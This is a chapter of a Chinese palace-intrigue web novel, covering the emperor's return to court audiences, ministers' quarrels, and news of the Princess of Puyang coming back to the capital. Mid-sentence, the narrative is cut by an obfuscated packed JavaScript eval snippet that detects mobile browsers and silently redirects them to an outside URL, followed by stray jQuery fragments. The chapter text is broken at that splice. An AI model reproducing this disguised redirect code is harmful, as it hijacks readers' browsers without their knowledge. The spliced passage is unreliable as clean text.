169. 第 169 章

作品:《穿成公主的我登基了

    徐淙安顺着荣宛俞的动作站起来,都没有让皇帝多出半分力气,也当即就着台阶往下下,露出似乎误会了天子一样的羞愧神情,有些心虚气短的样子,“陛下,是臣小人之心度君子之腹,多疑了陛下,请陛下降罪!”


    “好了好了,知道你的心是向着朕的,咱们君臣同心,有什么话是不能好好说的呢?”荣宛俞自然不会惩处徐淙安,学着礼贤下士的模样拍了拍他的手,面露欣慰和赞赏,“倒是你不说,真还不知晓东海徐氏如今竟到了这等地步,朕不能亏待了忠臣。你那被贬外放的叔父当日也是三品大员?是哪个位置?如今是何官职,朕看看能不能把人调回来。”


    徐淙安装若感激地看了皇帝一眼,但还是道:“多谢陛下厚爱,昔日叔父也不是要紧位置的三品大员,朝中大事也不大插得上嘴,那个位置已有新的人顶上,不提也罢。如今在荆州做一刺史,虽远离天子,但荆州地处中原腹地,也算富庶之地,虽比不得在朝时风光,但叔父今已年迈,去一山清水秀之地养老也算舒服惬意了!”


    濮阳公主的大本营全靠这个荆州刺史撑着呢,徐淙安即便不清楚公主殿下在荆州地界闹出了多大的动静,但也不可能让这新帝心血来潮,将人调回京城来,那岂不是让昔日谋算全都功亏一篑了!


    “已经年迈了啊!”荣宛俞自然也不会是全然厚待信服忠臣,他经过这一遭也反应了过来,他虽是天子,但朝中的势力太过淡薄,遇上事的时候都没人帮着他说话,徐淙安虽然对他忠心,但官位也太低了些,资历又浅在朝堂上威望和资历都不够,想着若自己手下能有一个只忠心于他的三品大员,他才算真正像个皇帝了。


    只是年纪大了这便是调回京城,怕也是不太好用了,荣宛俞有些惋惜,只好就此作罢,放下爱卿的手,也不在意扫落在地的碎瓷盏和脏兮兮地残羹冷炙,转身往内殿卧榻处走,轻飘飘地吩咐:“既如此,那便让徐大人在荆州颐养天年吧!你回去看看你们徐氏还有哪些年轻人,也可送入朝堂,朕吩咐人多照顾几分,子清放心便是,你们东海徐氏,必定能在朕当政时期,重现昔年辉煌的。”


    “朕是真有些困倦了,便依你所言歇息片刻,让人进来将地上洒扫了,动作轻些,莫扰了朕安眠。”


    徐淙安低眉垂首,望着地上的狼藉温声应是。


    当天荣宛俞虽没应承什么,安眠起身后也没再过多谈论朝堂和追封皇太后的事,但下一个大朝会,明黄龙袍少年皇帝的身影便出现在了含元殿龙椅之上。


    感受到周遭或惊喜或感激或赞赏或妒忌的目光,难得参加一次朝会,站在差不多最末尾的徐淙安面不改色,眼观鼻鼻观心,直到整场朝会结束都未发一言。


    重新上朝的皇帝也是惜字如金的样子,秋收时节又临近望月节,各地呈奏上来的事务繁多,这些天皇帝不理政务,虽有议事殿分担,三省忙得脚不沾地处理了一通,但如今皇帝好不容易回来见朝臣了,自诩还爱护文人羽翼的忠臣们,自然要捡着要紧的事都一一说与皇帝听。


    即便已经足够精简,但一个多时辰还是很快就过去了,渐渐地朝臣们也觉着有点不对劲,三品四品的中流砥柱那是你方唱罢我登场,要紧事一件接着一件,嘴皮子都快磨干了。而坐在上首的皇帝呢?那是面无表情风雨不动的。


    说起来还有点泰山崩于前而不改其色,不怒自威真有点像皇帝的架势,但这一个多时辰下来也没见皇帝多开几回尊口啊!顶多就是“嗯嗯”的应个几声,本来还当陛下还朝是已经消了气的议事殿重臣们面面相觑,心里忍不住又打起鼓来。


    这怎么看也不像是消了气的样子吗?


    宗正卿悄悄瞟了瞟上朝以来也沉着张脸的易无璇,那厮察觉到目光犟着脾气,猛地将脸撇开,宗正苦了脸,撇到一旁御史大夫又是一个倔脾气的似乎要出列,也顾不上满心愁苦,连忙伸出一只手死死揪住朱大人的袖摆,不让人出去。


    含元殿天子眼下也不是拉拉扯扯地地方,朱大人试了两回,嘿,这老不修年纪不小,力气还挺大,乌泱泱的群臣能帮他们遮掩一点动静,但也不能动作过大了,以宗正这力道,他便是挣脱了出去,怕是也衣袖不整,不宜面圣的。


    朱大人磨了磨牙,压低声音恶狠狠道:“你揪着老夫做什么?御前这般拉拉扯扯的,成何体统!”


    “你才是要干什么?”宗正的声音虽然也压得低低的,但气势丝毫不减,恨铁不成钢的,“你御前当差多少年了啊!还像毛头小子看不清局势啊?没见着上位不对劲吗?怕是还在气头上呢!不管你要参奏的是谁,你把你袖子里的折子给老夫藏好喽,别撞上去了!尚书令中书令都还没动静呢,你急什么!”


    朱大人没好气地甩了甩衣袖,“好了好了,老夫不出去了,你松开!”


    “拉拉扯扯拉拉扯扯的!你真是老了,半年前病过一场怎么把你的心气都并没了?你是宗正,管皇家血脉名分正统,这次陛下糊涂,怎么都不见你出面劝阻,要真是老不中用了,还是尽早告老退位吧!”


    说得话狠,但两人十多年相互扶持的老友了,自不会不知晓对方的关心之意。朱大人还没说,他们年岁相仿,宗正只是病了一场,他才是受了重创,即便如此,回到朝堂之上那也该食君之禄忠君之事,文人的骨气丢不得。


    只是朱大人没说出口,到底是伤心事,那孩子也是老友一并看着长大的,何必说出来惹得双双难过伤怀呢?


    宗正不是不了解友人的性子,如今他也确实不像昔年风骨清绝的样子了,尤其是濮阳公主离开京畿这几个月,他照镜子都有种恍如隔世,不认识了自己的感觉。


    他不敢告知老友他半年前做了件惊天动地的大事,他身为宗室


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455941|188710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    族长,竟逼先帝唯一的、尚且年少的公主,逼死了皇后,公主的嫡母!


    当时他义愤填膺,自觉做的都是维护皇家正统、宗室颜面的正确的事,但在事后看着公主殿下面色苍白地从鸾台雅居出来,回府又缠绵病榻半月不出府半步,那时他便有些后悔了;待到公主一个人艰难维持朝局,更只得只身犯险,远赴边地之后,愧疚悔恨像是掺了毒的古酒,浸没了他。


    公主带禁卫北去后,他夙夜难寐,也大病了一场。虽然他身子骨还算康健,如今也算大好了,但他时至如今也不知道,公主殿下在新帝登基后便请旨离开京城去封地守孝,有没有想远离这片伤心地的意思。


    再不敢仗着一腔热血,冲动地做自以为正确的事情了。


    离得不远的裴事坤察觉到这边的动静,瞟了他们一眼,又将目光落到最前面的中书令身上,如果他没猜错,三省主管准备好了一封,事关之前陛下想要追封皇太后的奏折,交由中书令拟定呈奏,但眼看着今日朝会已渐近尾声,王大人似乎没有出列提及此事的意思。


    濮阳长公主仪驾返京的消息,就是朝将要散去时传回来的,荆州折冲府的府兵提前往上通报,也最多将公主殿下护送入京畿,朝廷这边需要派遣禁卫军亲自前去迎驾。


    皇帝状若才想起望月宫宴在即,濮阳公主也该回来参加宫宴了,这才开了尊口吩咐禁军统领亲点千余精锐速速前去迎驾,又将操办宫宴的要事交给了方德海。


    后宫无主,宫廷宴席自当有内侍省操办,皇帝这样的吩咐无可厚非,但朝臣们看着方德海那一张欣喜谄媚的嘴脸,便觉得心气不顺、糟心不已。


    尤其是光禄寺卿,上首宣布退朝,朝臣陆陆续续离开,看到还站在原地面色难看的光禄寺卿时,众臣才恍然想到还有光禄寺啊!


    若后宫有主自有皇后娘娘主持这样的大型宫宴,调度各方,光禄寺这种情境下一贯负责外朝群臣御宴酒水、器皿席位物料等,内侍省负责场地陈设、灯烛帷幔、宫内动线等,双方协作地位平起平坐,都听候皇后娘娘调遣而已,如今陛下将此事全权交由内侍省,莫不是光禄寺还要听从内侍的吩咐?


    也难怪光禄寺卿面色难看,众人同情却也不敢去杵人的眉头,避得远远地赶紧加快了脚步。


    中书令今日准备好的奏折没有开口,趁群臣纷纷往再走之际大步上前叫住了徐淙安。


    “王大人?”今日难得皇帝没有一下朝就叫徐淙安过去伴驾,他正打算回中书省整理一下近来落下的文书工作,被人叫住,转头见是绛紫锦袍贵气逼人的王中书,虽诧异但还是恭恭敬敬地行了一礼,“大人可是有要事吩咐下官。”


    身边走动的朝臣多,不是方便说话的地方,示意人跟他走到一边去说,吏部尚书也凑了上来,含元殿廊下其余议事殿大员也或多或少地往这边望过来。